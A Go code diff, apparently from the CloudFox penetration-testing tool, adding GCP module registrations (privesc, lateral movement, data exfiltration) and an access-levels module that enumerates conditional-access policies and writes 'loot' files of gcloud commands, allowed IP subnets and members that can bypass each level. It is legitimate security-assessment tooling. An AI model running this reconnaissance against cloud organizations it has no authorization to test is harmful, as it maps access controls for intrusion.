GCPLogger.InfoM(fmt.Sprintf("Starting execution of %d modules...", totalModules), "all-checks")
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
|
||||
for i, childCmd := range modulesToRun {
|
||||
GCPLogger.InfoM(fmt.Sprintf("[%d/%d] Running: %s", i+1, totalModules, childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
executedModules = append(executedModules, childCmd.Use)
|
||||
}
|
||||
|
||||
// Print summary
|
||||
duration := time.Since(startTime)
|
||||
printExecutionSummary(executedModules, duration)
|
||||
},
|
||||
}
|
||||
|
||||
// loadOrPopulateOrgCache loads org cache from disk if available, or enumerates and saves it
|
||||
func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgCache {
|
||||
// Check if cache exists and we're not forcing refresh
|
||||
if !forceRefresh && gcpinternal.OrgCacheExists(GCPOutputDirectory, account) {
|
||||
// Check if cache is stale (older than 24 hours)
|
||||
if gcpinternal.IsCacheStale(GCPOutputDirectory, account, "org", gcpinternal.DefaultCacheExpiration) {
|
||||
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Org cache is stale (age: %s > 24h), refreshing...", formatDuration(age)), "gcp")
|
||||
} else {
|
||||
cache, metadata, err := gcpinternal.LoadOrgCacheFromFile(GCPOutputDirectory, account)
|
||||
if err == nil && cache != nil {
|
||||
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Loaded org cache from disk (age: %s, %d projects)",
|
||||
formatDuration(age), metadata.TotalProjects), "gcp")
|
||||
return cache
|
||||
}
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not load org cache: %v, re-enumerating...", err), "gcp")
|
||||
// Delete corrupted cache file
|
||||
gcpinternal.DeleteCache(GCPOutputDirectory, account, "org")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate and create cache
|
||||
cache := enumerateAndCacheOrgs(account)
|
||||
return cache
|
||||
}
|
||||
|
||||
// enumerateAndCacheOrgs enumerates all orgs/folders/projects and saves to disk
|
||||
func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
cache := gcpinternal.NewOrgCache()
|
||||
|
||||
orgsSvc := orgsservice.New()
|
||||
|
||||
// Get all organizations
|
||||
orgs, err := orgsSvc.SearchOrganizations()
|
||||
if err == nil {
|
||||
for _, org := range orgs {
|
||||
cache.AddOrganization(gcpinternal.CachedOrganization{
|
||||
ID: org.Name[len("organizations/"):], // Strip prefix
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Get all folders
|
||||
folders, err := orgsSvc.SearchAllFolders()
|
||||
if err == nil {
|
||||
for _, folder := range folders {
|
||||
cache.AddFolder(gcpinternal.CachedFolder{
|
||||
ID: folder.Name[len("folders/"):], // Strip prefix
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Get all projects
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err == nil {
|
||||
for _, project := range projects {
|
||||
// Extract project number from Name (format: "projects/123456789")
|
||||
projectNumber := ""
|
||||
if strings.HasPrefix(project.Name, "projects/") {
|
||||
projectNumber = strings.TrimPrefix(project.Name, "projects/")
|
||||
}
|
||||
cache.AddProject(gcpinternal.CachedProject{
|
||||
ID: project.ProjectID,
|
||||
Number: projectNumber,
|
||||
Name: project.Name,
|
||||
DisplayName: project.DisplayName,
|
||||
Parent: project.Parent,
|
||||
State: project.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
cache.MarkPopulated()
|
||||
|
||||
// Save to disk
|
||||
err = gcpinternal.SaveOrgCacheToFile(cache, GCPOutputDirectory, account, "2.0.0")
|
||||
if err != nil {
|
||||
GCPLogger.InfoM(fmt.Sprintf("Could not save org cache to disk: %v", err), "gcp")
|
||||
} else {
|
||||
cacheDir := gcpinternal.GetCacheDirectory(GCPOutputDirectory, account)
|
||||
GCPLogger.InfoM(fmt.Sprintf("Org cache saved to %s", cacheDir), "gcp")
|
||||
}
|
||||
|
||||
orgsCount, foldersCount, projectsCount := cache.GetStats()
|
||||
GCPLogger.InfoM(fmt.Sprintf("Organization cache populated: %d org(s), %d folder(s), %d project(s)",
|
||||
orgsCount, foldersCount, projectsCount), "gcp")
|
||||
|
||||
return cache
|
||||
}
|
||||
|
||||
// printExecutionSummary prints a summary of all executed modules
|
||||
func printExecutionSummary(modules []string, duration time.Duration) {
|
||||
GCPLogger.InfoM("", "all-checks") // blank line
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
GCPLogger.InfoM(" EXECUTION SUMMARY ", "all-checks")
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Total modules executed: %d", len(modules)), "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Total execution time: %s", formatDuration(duration)), "all-checks")
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
GCPLogger.InfoM("Modules executed:", "all-checks")
|
||||
|
||||
// Print modules in columns for better readability
|
||||
const columnsPerRow = 4
|
||||
for i := 0; i < len(modules); i += columnsPerRow {
|
||||
row := " "
|
||||
for j := i; j < i+columnsPerRow && j < len(modules); j++ {
|
||||
row += fmt.Sprintf("%-20s", modules[j])
|
||||
}
|
||||
GCPLogger.InfoM(row, "all-checks")
|
||||
}
|
||||
|
||||
GCPLogger.InfoM("", "all-checks")
|
||||
GCPLogger.InfoM(fmt.Sprintf("Output directory: %s", GCPOutputDirectory), "all-checks")
|
||||
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
|
||||
}
|
||||
|
||||
// formatDuration formats a duration in a human-readable way
|
||||
func formatDuration(d time.Duration) string {
|
||||
if d < time.Minute {
|
||||
return fmt.Sprintf("%.1f seconds", d.Seconds())
|
||||
} else if d < time.Hour {
|
||||
minutes := int(d.Minutes())
|
||||
seconds := int(d.Seconds()) % 60
|
||||
return fmt.Sprintf("%dm %ds", minutes, seconds)
|
||||
}
|
||||
hours := int(d.Hours())
|
||||
minutes := int(d.Minutes()) % 60
|
||||
return fmt.Sprintf("%dh %dm", hours, minutes)
|
||||
}
|
||||
|
||||
func init() {
|
||||
// Globals flags for the GCP commands
|
||||
|
||||
@@ -86,7 +494,7 @@ func init() {
|
||||
// GCPCommands.PersistentFlags().StringVarP(&GCPOrganization, "organization", "o", "", "Organization name or number, repetable")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPProjectID, "project", "p", "", "GCP project ID")
|
||||
GCPCommands.PersistentFlags().StringVarP(&GCPProjectIDsFilePath, "project-list", "l", "", "Path to a file containing a list of project IDs separated by newlines")
|
||||
// GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "a", false, "Use all project IDs available to activated gloud account or given gcloud account")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "A", false, "Automatically discover and target all accessible projects")
|
||||
// GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
|
||||
// GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
|
||||
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
|
||||
@@ -94,16 +502,102 @@ func init() {
|
||||
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
|
||||
// GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
|
||||
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPFlatOutput, "flat-output", false, "Use legacy flat output structure instead of hierarchical per-project directories")
|
||||
GCPCommands.PersistentFlags().BoolVar(&GCPRefreshCache, "refresh-cache", false, "Force re-enumeration of cached data (cache auto-expires after 24 hours)")
|
||||
|
||||
// Available commands
|
||||
GCPCommands.AddCommand(
|
||||
commands.GCPBucketsCommand,
|
||||
// Core/existing commands
|
||||
commands.GCPStorageCommand,
|
||||
commands.GCPArtifactRegistryCommand,
|
||||
commands.GCPBigQueryCommand,
|
||||
commands.GCPSecretsCommand,
|
||||
commands.GCPIAMCommand,
|
||||
commands.GCPPermissionsCommand,
|
||||
commands.GCPResourceIAMCommand,
|
||||
commands.GCPInstancesCommand,
|
||||
commands.GCPWhoAmICommand,
|
||||
|
||||
// Compute/serverless commands
|
||||
commands.GCPFunctionsCommand,
|
||||
commands.GCPCloudRunCommand,
|
||||
commands.GCPAppEngineCommand,
|
||||
commands.GCPGKECommand,
|
||||
commands.GCPCloudSQLCommand,
|
||||
|
||||
// New infrastructure commands
|
||||
commands.GCPPubSubCommand,
|
||||
commands.GCPKMSCommand,
|
||||
commands.GCPLoggingCommand,
|
||||
commands.GCPSchedulerCommand,
|
||||
commands.GCPDNSCommand,
|
||||
commands.GCPFirewallCommand,
|
||||
commands.GCPServiceAccountsCommand,
|
||||
commands.GCPKeysCommand,
|
||||
commands.GCPEndpointsCommand,
|
||||
commands.GCPWorkloadIdentityCommand,
|
||||
commands.GCPIdentityFederationCommand,
|
||||
commands.GCPOrganizationsCommand,
|
||||
commands.GCPCloudBuildCommand,
|
||||
commands.GCPMemorystoreCommand,
|
||||
commands.GCPFilestoreCommand,
|
||||
commands.GCPSpannerCommand,
|
||||
commands.GCPBigtableCommand,
|
||||
|
||||
// Data processing commands
|
||||
commands.GCPDataflowCommand,
|
||||
commands.GCPComposerCommand,
|
||||
|
||||
// Security/Compliance commands
|
||||
commands.GCPVPCSCCommand,
|
||||
commands.GCPAssetInventoryCommand,
|
||||
commands.GCPSecurityCenterCommand,
|
||||
commands.GCPComplianceDashboardCommand,
|
||||
commands.GCPBackupInventoryCommand,
|
||||
commands.GCPCostSecurityCommand,
|
||||
commands.GCPMonitoringAlertsCommand,
|
||||
|
||||
// Network/Infrastructure commands
|
||||
commands.GCPLoadBalancersCommand,
|
||||
commands.GCPVPCNetworksCommand,
|
||||
commands.GCPNetworkTopologyCommand,
|
||||
|
||||
// ML/Data Science commands
|
||||
commands.GCPNotebooksCommand,
|
||||
commands.GCPDataprocCommand,
|
||||
|
||||
// Zero Trust/Access commands
|
||||
commands.GCPIAPCommand,
|
||||
commands.GCPBeyondCorpCommand,
|
||||
commands.GCPAccessLevelsCommand,
|
||||
|
||||
// Pentest/Exploitation commands
|
||||
commands.GCPPrivescCommand,
|
||||
commands.GCPOrgPoliciesCommand,
|
||||
commands.GCPStorageEnumCommand,
|
||||
commands.GCPLoggingEnumCommand,
|
||||
commands.GCPBigQueryEnumCommand,
|
||||
commands.GCPBigtableEnumCommand,
|
||||
commands.GCPSpannerEnumCommand,
|
||||
commands.GCPCrossProjectCommand,
|
||||
commands.GCPSourceReposCommand,
|
||||
commands.GCPServiceAgentsCommand,
|
||||
commands.GCPDomainWideDelegationCommand,
|
||||
commands.GCPPrivateServiceConnectCommand,
|
||||
commands.GCPCloudArmorCommand,
|
||||
commands.GCPCertManagerCommand,
|
||||
commands.GCPLateralMovementCommand,
|
||||
commands.GCPDataExfiltrationCommand,
|
||||
commands.GCPPublicAccessCommand,
|
||||
commands.GCPFoxMapperCommand,
|
||||
|
||||
// Inventory command
|
||||
commands.GCPInventoryCommand,
|
||||
|
||||
// Hidden admin commands
|
||||
commands.GCPHiddenAdminsCommand,
|
||||
|
||||
// All checks (last)
|
||||
GCPAllChecksCommand,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,453 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
accesspolicyservice "github.com/BishopFox/cloudfox/gcp/services/accessPolicyService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
cloudresourcemanager "google.golang.org/api/cloudresourcemanager/v1"
|
||||
)
|
||||
|
||||
var accessLevelOrgID string
|
||||
|
||||
var GCPAccessLevelsCommand = &cobra.Command{
|
||||
Use: globals.GCP_ACCESSLEVELS_MODULE_NAME,
|
||||
Aliases: []string{"access-levels", "conditional-access", "ca"},
|
||||
Short: "Enumerate Access Context Manager access levels",
|
||||
Long: `Enumerate Access Context Manager access levels (conditional access policies).
|
||||
|
||||
Features:
|
||||
- Lists all access levels in the organization
|
||||
- Shows IP-based, device-based, and identity conditions
|
||||
- Identifies overly permissive access levels
|
||||
- Analyzes device policy requirements
|
||||
|
||||
Organization Discovery:
|
||||
- Automatically discovers organization from project ancestry if --org not specified
|
||||
- Use --org to explicitly specify an organization ID`,
|
||||
Run: runGCPAccessLevelsCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPAccessLevelsCommand.Flags().StringVar(&accessLevelOrgID, "org", "", "Organization ID (required)")
|
||||
}
|
||||
|
||||
type AccessLevelsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
OrgID string
|
||||
OrgAccessLevels map[string][]accesspolicyservice.AccessLevelInfo // orgID -> access levels
|
||||
LootMap map[string]map[string]*internal.LootFile // orgID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type AccessLevelsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o AccessLevelsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o AccessLevelsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPAccessLevelsCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Discover organizations if not specified
|
||||
orgIDs := []string{}
|
||||
if accessLevelOrgID != "" {
|
||||
orgIDs = append(orgIDs, accessLevelOrgID)
|
||||
} else {
|
||||
// Auto-discover organizations from project ancestry
|
||||
discoveredOrgs := discoverOrganizations(cmdCtx.Ctx, cmdCtx.ProjectIDs, cmdCtx.Logger)
|
||||
if len(discoveredOrgs) == 0 {
|
||||
cmdCtx.Logger.ErrorM("Could not discover any organizations. Use --org flag to specify one.", globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
orgIDs = discoveredOrgs
|
||||
cmdCtx.Logger.InfoM(fmt.Sprintf("Discovered %d organization(s) from project ancestry", len(orgIDs)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
|
||||
module := &AccessLevelsModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
OrgAccessLevels: make(map[string][]accesspolicyservice.AccessLevelInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
// Process each organization
|
||||
for _, orgID := range orgIDs {
|
||||
module.processOrg(cmdCtx.Ctx, orgID, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// Write combined output
|
||||
allLevels := module.getAllAccessLevels()
|
||||
if len(allLevels) == 0 {
|
||||
cmdCtx.Logger.InfoM("No access levels found", globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
cmdCtx.Logger.SuccessM(fmt.Sprintf("Found %d access level(s)", len(allLevels)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
module.writeOutput(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// discoverOrganizations finds organization IDs from project ancestry
|
||||
func discoverOrganizations(ctx context.Context, projectIDs []string, logger internal.Logger) []string {
|
||||
crmService, err := cloudresourcemanager.NewService(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
orgMap := make(map[string]bool)
|
||||
for _, projectID := range projectIDs {
|
||||
resp, err := crmService.Projects.GetAncestry(projectID, &cloudresourcemanager.GetAncestryRequest{}).Do()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, ancestor := range resp.Ancestor {
|
||||
if ancestor.ResourceId.Type == "organization" {
|
||||
orgMap[ancestor.ResourceId.Id] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var orgs []string
|
||||
for orgID := range orgMap {
|
||||
orgs = append(orgs, orgID)
|
||||
}
|
||||
return orgs
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getAllAccessLevels() []accesspolicyservice.AccessLevelInfo {
|
||||
var all []accesspolicyservice.AccessLevelInfo
|
||||
for _, levels := range m.OrgAccessLevels {
|
||||
all = append(all, levels...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) processOrg(ctx context.Context, orgID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating access levels for organization: %s", orgID), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this org
|
||||
if m.LootMap[orgID] == nil {
|
||||
m.LootMap[orgID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[orgID]["access-levels-details"] = &internal.LootFile{
|
||||
Name: "access-levels-details",
|
||||
Contents: "# Access Levels (Conditional Access Policies)\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
m.LootMap[orgID]["access-levels-allowed-ips"] = &internal.LootFile{
|
||||
Name: "access-levels-allowed-ips",
|
||||
Contents: "",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := accesspolicyservice.New()
|
||||
|
||||
levels, err := svc.ListAccessLevels(orgID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ACCESSLEVELS_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list access levels for org %s", orgID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.OrgAccessLevels[orgID] = levels
|
||||
for _, level := range levels {
|
||||
m.addToLoot(orgID, level)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) addToLoot(orgID string, level accesspolicyservice.AccessLevelInfo) {
|
||||
if lootFile := m.LootMap[orgID]["access-levels-details"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# ACCESS LEVEL: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Title: %s\n"+
|
||||
"# Policy: %s\n"+
|
||||
"# Combining Function: %s\n"+
|
||||
"# Conditions: %d\n",
|
||||
level.Name, level.Title, level.PolicyName, level.CombiningFunction, len(level.Conditions))
|
||||
|
||||
// Condition details
|
||||
for i, condition := range level.Conditions {
|
||||
lootFile.Contents += fmt.Sprintf("# --- Condition %d ---\n", i+1)
|
||||
if len(condition.IPSubnetworks) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# IP Subnets: %s\n", strings.Join(condition.IPSubnetworks, ", "))
|
||||
}
|
||||
if len(condition.Members) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Members: %s\n", strings.Join(condition.Members, ", "))
|
||||
}
|
||||
if len(condition.Regions) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf("# Regions: %s\n", strings.Join(condition.Regions, ", "))
|
||||
}
|
||||
if condition.DevicePolicy != nil {
|
||||
lootFile.Contents += "# Device Policy: configured\n"
|
||||
}
|
||||
}
|
||||
|
||||
// Extract short level name for gcloud commands
|
||||
levelName := level.Name
|
||||
policyName := level.PolicyName
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe this access level:
|
||||
gcloud access-context-manager levels describe %s --policy=%s
|
||||
|
||||
# List all conditions for this access level:
|
||||
gcloud access-context-manager levels describe %s --policy=%s --format=json | jq '.basic.conditions'
|
||||
|
||||
# List all access levels in this policy:
|
||||
gcloud access-context-manager levels list --policy=%s
|
||||
|
||||
# === EXPLOIT COMMANDS ===
|
||||
|
||||
# Check if your current IP is allowed by this access level:
|
||||
curl -s ifconfig.me && echo " <- Check if this IP is in the allowed subnets above"
|
||||
|
||||
`, levelName, policyName,
|
||||
levelName, policyName,
|
||||
policyName)
|
||||
|
||||
// Add IP-specific bypass checks
|
||||
if len(level.Conditions) > 0 {
|
||||
for _, condition := range level.Conditions {
|
||||
if len(condition.IPSubnetworks) > 0 {
|
||||
lootFile.Contents += "# Test connectivity from allowed IP ranges (use with VPN/proxy):\n"
|
||||
for _, ip := range condition.IPSubnetworks {
|
||||
lootFile.Contents += fmt.Sprintf("# Allowed subnet: %s\n", ip)
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
if len(condition.Members) > 0 {
|
||||
lootFile.Contents += "# Members that can bypass this access level:\n"
|
||||
for _, member := range condition.Members {
|
||||
lootFile.Contents += fmt.Sprintf("# %s\n", member)
|
||||
}
|
||||
lootFile.Contents += "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, condition := range level.Conditions {
|
||||
for _, ip := range condition.IPSubnetworks {
|
||||
if lootFile := m.LootMap[orgID]["access-levels-allowed-ips"]; lootFile != nil {
|
||||
lootFile.Contents += fmt.Sprintf("%s # %s\n", ip, level.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getLevelsHeader() []string {
|
||||
return []string{"Org ID", "Name", "Title", "Policy", "Combining", "Conditions", "Device Policy"}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) getConditionsHeader() []string {
|
||||
return []string{"Org ID", "Level", "Condition", "IP Ranges", "Members", "Regions", "Device Requirements"}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) levelsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
|
||||
var body [][]string
|
||||
for _, level := range levels {
|
||||
hasDevicePolicy := "No"
|
||||
for _, cond := range level.Conditions {
|
||||
if cond.DevicePolicy != nil {
|
||||
hasDevicePolicy = "Yes"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
combiningFunc := level.CombiningFunction
|
||||
if combiningFunc == "" {
|
||||
combiningFunc = "AND"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
orgID,
|
||||
level.Name,
|
||||
level.Title,
|
||||
level.PolicyName,
|
||||
combiningFunc,
|
||||
fmt.Sprintf("%d", len(level.Conditions)),
|
||||
hasDevicePolicy,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) conditionsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
|
||||
var body [][]string
|
||||
for _, level := range levels {
|
||||
for i, cond := range level.Conditions {
|
||||
ipRanges := strings.Join(cond.IPSubnetworks, ", ")
|
||||
if ipRanges == "" {
|
||||
ipRanges = "(any)"
|
||||
}
|
||||
|
||||
members := strings.Join(cond.Members, ", ")
|
||||
if members == "" {
|
||||
members = "(any)"
|
||||
}
|
||||
|
||||
regions := strings.Join(cond.Regions, ", ")
|
||||
if regions == "" {
|
||||
regions = "(any)"
|
||||
}
|
||||
|
||||
deviceReqs := "(none)"
|
||||
if cond.DevicePolicy != nil {
|
||||
var reqs []string
|
||||
if cond.DevicePolicy.RequireScreenLock {
|
||||
reqs = append(reqs, "screen-lock")
|
||||
}
|
||||
if cond.DevicePolicy.RequireCorpOwned {
|
||||
reqs = append(reqs, "corp-owned")
|
||||
}
|
||||
if cond.DevicePolicy.RequireAdminApproval {
|
||||
reqs = append(reqs, "admin-approval")
|
||||
}
|
||||
if len(reqs) > 0 {
|
||||
deviceReqs = strings.Join(reqs, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
orgID,
|
||||
level.Name,
|
||||
fmt.Sprintf("%d", i+1),
|
||||
ipRanges,
|
||||
members,
|
||||
regions,
|
||||
deviceReqs,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) buildTablesForOrg(orgID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if levels, ok := m.OrgAccessLevels[orgID]; ok && len(levels) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "access-levels",
|
||||
Header: m.getLevelsHeader(),
|
||||
Body: m.levelsToTableBody(levels, orgID),
|
||||
})
|
||||
|
||||
condBody := m.conditionsToTableBody(levels, orgID)
|
||||
if len(condBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "access-level-conditions",
|
||||
Header: m.getConditionsHeader(),
|
||||
Body: condBody,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for orgID := range m.OrgAccessLevels {
|
||||
tableFiles := m.buildTablesForOrg(orgID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if orgLoot, ok := m.LootMap[orgID]; ok {
|
||||
for _, loot := range orgLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.OrgLevelData[orgID] = AccessLevelsOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *AccessLevelsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Collect all org IDs
|
||||
var orgIDs []string
|
||||
for orgID := range m.OrgAccessLevels {
|
||||
orgIDs = append(orgIDs, orgID)
|
||||
}
|
||||
|
||||
// Build combined tables with org ID in each row
|
||||
var allLevelRows [][]string
|
||||
var allCondRows [][]string
|
||||
for orgID, levels := range m.OrgAccessLevels {
|
||||
allLevelRows = append(allLevelRows, m.levelsToTableBody(levels, orgID)...)
|
||||
allCondRows = append(allCondRows, m.conditionsToTableBody(levels, orgID)...)
|
||||
}
|
||||
|
||||
if len(allLevelRows) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "access-levels",
|
||||
Header: m.getLevelsHeader(),
|
||||
Body: allLevelRows,
|
||||
})
|
||||
}
|
||||
|
||||
if len(allCondRows) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "access-level-conditions",
|
||||
Header: m.getConditionsHeader(),
|
||||
Body: allCondRows,
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, orgLoot := range m.LootMap {
|
||||
for _, loot := range orgLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := AccessLevelsOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"org", orgIDs, orgIDs, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,828 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"google.golang.org/api/appengine/v1"
|
||||
)
|
||||
|
||||
// Module name constant
|
||||
const GCP_APPENGINE_MODULE_NAME string = "app-engine"
|
||||
|
||||
var GCPAppEngineCommand = &cobra.Command{
|
||||
